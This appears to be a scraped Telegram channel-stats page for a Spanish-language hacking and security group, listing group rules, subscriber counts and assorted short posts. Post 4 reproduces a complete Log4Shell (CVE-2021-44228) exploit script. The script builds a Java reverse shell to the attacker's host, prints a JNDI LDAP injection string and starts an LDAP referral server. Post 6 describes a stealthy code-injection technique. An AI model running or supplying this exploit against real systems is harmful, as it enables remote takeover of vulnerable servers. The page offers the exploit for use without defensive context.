ӉѦСҠіИԌ ҬЄѦӍ ԌГԱթѺ ѺҒҒіСіѦL
前往频道在 Telegram
Hacking y Seguridad Esta es la normativa implantada en el grupo:🚫 No está permitida ninguna acción excesiva (flood, spam, etc.).🚫 Está prohibido compartir enlaces ajenos y/o que no tengan referencia con Hacking Team.🚫 Nada de Cuentas rrss,credito,tv
显示更多未指定国家未指定类别
2 683
订阅者
无数据24 小时
无数据7 天
无数据30 天
吸引订阅者
无数据
有任何问题？请刷新页面或联系我们的客服。
频道帖子
Nueva entrada en el blog THW https://thehackerway.com/2021/09/13/network-hacking-con-impacket-parte-6/
| 2 | Pues sí por eso de llama ERROR DE CAPA 8 | 0 |
| 3 | 🔥🔥🔥Examining OpenSSH Sandboxing and Privilege Separation – Attack Surface Analysis
This blog post provides an in-depth analysis of OpenSSH’s attack surface and security measures:
💾 How does OpenSSH implement Privilege Separation?
💾 OpenSSH Privilege Separation – In-Depth Analysis
💾 What is the OpenSSH Sandbox?
💾 OpenSSH Sandbox – In-Depth Analysis
💾 Conclusion – Don’t mess with the defaults! | 0 |
| 4 | # Exploit Title: Apache Log4j 2 - Remote Code Execution (RCE)
# Exploit Authors: kozmer, z9fr, svmorris
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Software Link: https://github.com/apache/logging-log4j2
# Version: versions 2.0-beta-9 and 2.14.1.
# Tested on: Linux
# CVE: CVE-2021-44228
# Github repo: https://github.com/kozmer/log4j-shell-poc
import subprocess
import os
import sys
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version']) #stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
print("\n")
userip = input("[+] Enter IP for LDAPRefServer & Shell: ")
userport = input("[+] Enter listener port for LDAPRefServer: ")
lport = input("[+] Set listener port for shell: ")
def payload():
javapayload = ("""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
""") % (userip,lport)
f = open("Exploit.java", "w")
f.write(javapayload)
f.close()
os.system('./jdk1.8.0_20/bin/javac Exploit.java')
sendme = ("${jndi:ldap://%s:1389/a}") % (userip)
print("[+] Send me: "+sendme+"\n")
def marshalsec():
os.system("./jdk1.8.0_20/bin/java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://{}:{}/#Exploit".format
(userip, userport))
if name== "main":
payload()
marshalsec()
# 0day.today [2021-12-14] # | 0 |
| 5 | Y el ejemplo... Es simple.. Un if... Es igual para todos los leguajes... Cambia la sintaxis... Si!!! Pero el concepto de condicion es siempre la misma... | 0 |
| 6 | 🔥🔥🔥 NtQueueApcThreadEx NTDLL Gadget Injection is a novel way of using NtQueueApcThreadEx by abusing the ApcRoutine and SystemArgument[0-3] parameters by passing a random pop r32; ret gadget can be used for stealthy code injection. Within this PoC, the gadget in this case is picked randomly from ntdll.dll's memory region which matches a specific pattern. This means the gadget returns into the shellcode.
🔖Raspberry Robin’s Roshtyak: A Little Lesson in Trickery | 0 |
| 7 | https://github.com/CyberSecurityUP/OSCE-Complete-Guidep | 0 |
| 8 | #cehv12 | 0 |
| 9 | Thank bro | 0 |
| 10 | Con. Algun programa | 0 |
| 11 | Some Great Cybersecurity & Hacking Documentaries Recommendations
#CyberSecurity #Hack #infosec | 0 |
| 12 | Luego va a salir por ahí 😂😅 | 0 |
| 13 | Dominar Burp Suite Pro https://cb.run/Wmmu | 0 |
| 14 | Entonces solo tendrías que crear sesiones sdp desde el dispositivo que quieras conectarte, por ejemplo vlc te permite hacer algo asi | 0 |
| 15 | Bilbao | 0 |
| 16 | Y bueno si nadie dice un carajo como voy a saber | 0 |
| 17 | DOOM Captcha
https://github.com/vivirenremoto/doomcaptcha
Demostración: https://vivirenremoto.github.io/doomcaptcha/
Autor: https://github.com/vivirenremoto/doomcaptcha/graphs/contributors
====================
Si encuentra software interesante, compártalo con la comunidad | 0 |
| 18 | https://www.facebook.com/groups/hackingteamoficial | 0 |
| 19 | /ban | 0 |
| 20 | 😂😂😂 Uno más, vámonos, bye bye. | 0 |
